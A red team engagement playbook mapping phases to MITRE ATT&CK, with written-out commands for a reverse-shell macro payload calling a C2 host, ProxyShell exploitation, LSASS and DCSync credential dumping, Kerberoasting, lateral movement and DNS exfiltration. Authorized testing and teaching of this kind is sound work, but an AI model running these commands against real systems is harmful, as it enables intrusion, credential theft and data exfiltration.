Conducting Full-Scope Red Team Engagement

Overview

A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).

Prerequisites

Written authorization (Rules of Engagement document) signed by executive leadership
Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws

Engagement Phases

Phase 1: Planning and Threat Modeling

Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:

Kill Chain Phase	MITRE ATT&CK Tactic	Example Techniques
Reconnaissance	TA0043	T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info
Resource Development	TA0042	T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware
Initial Access	TA0001	T1566.001 Spearphishing Attachment, T1078 Valid Accounts
Execution	TA0002	T1059.001 PowerShell, T1204.002 User Execution: Malicious File
Persistence	TA0003	T1053.005 Scheduled Task, T1547.001 Registry Run Keys
Privilege Escalation	TA0004	T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass
Defense Evasion	TA0005	T1055 Process Injection, T1027 Obfuscated Files
Credential Access	TA0006	T1003.001 LSASS Memory, T1558.003 Kerberoasting
Discovery	TA0007	T1087 Account Discovery, T1018 Remote System Discovery
Lateral Movement	TA0008	T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash
Collection	TA0009	T1560 Archive Collected Data, T1213 Data from Information Repositories
Exfiltration	TA0010	T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol
Impact	TA0040	T1486 Data Encrypted for Impact, T1489 Service Stop

Phase 2: Reconnaissance (OSINT)

# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt

# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt

# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json

# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv

Phase 3: Initial Access

Common initial access vectors for red team engagements:

Spearphishing (T1566.001):

# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json

External Service Exploitation (T1190):

# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com

Phase 4: Post-Exploitation and Lateral Movement

# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com

# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"

# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:password@fileserver.target.com

Phase 5: Objective Achievement

Define and pursue specific objectives:

Domain Dominance: Achieve Domain Admin access and DCSync credentials
Data Exfiltration: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
Business Impact Simulation: Demonstrate ransomware deployment capability (without execution)
Physical Access: Badge cloning, tailgating, server room access

# DCSync attack (T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm

# Exfiltration over DNS (T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t

Phase 6: Reporting and Debrief

The report should include:

Executive Summary: Business impact, risk rating, key findings
Attack Narrative: Timeline of activities with screenshots and evidence
MITRE ATT&CK Mapping: Full heat map of techniques used
Findings: Each finding with CVSS score, evidence, remediation
Detection Gap Analysis: What the SOC detected vs. what was missed
Purple Team Recommendations: Specific detection rules for gaps identified

Metrics and KPIs

Metric	Description
Mean Time to Detect (MTTD)	Average time from action to SOC detection
Mean Time to Respond (MTTR)	Average time from detection to containment
TTP Coverage	Percentage of executed techniques detected
Objective Achievement Rate	Percentage of defined objectives completed
Dwell Time	Total time red team maintained access undetected

Tools and Frameworks

C2 Frameworks: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
Reconnaissance: Amass, Recon-ng, theHarvester, SpiderFoot
Exploitation: Metasploit, Impacket, CrackMapExec, Rubeus
Post-Exploitation: Mimikatz, SharpCollection, BOF.NET
Reporting: PlexTrac, Ghostwriter, Serpico

References

MITRE ATT&CK Framework: https://attack.mitre.org/
Red Team Guide: https://redteam.guide/
PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
TIBER-EU Framework for Red Teaming: https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/
CBEST Intelligence-Led Testing: https://www.bankofengland.co.uk/financial-stability/financial-sector-continuity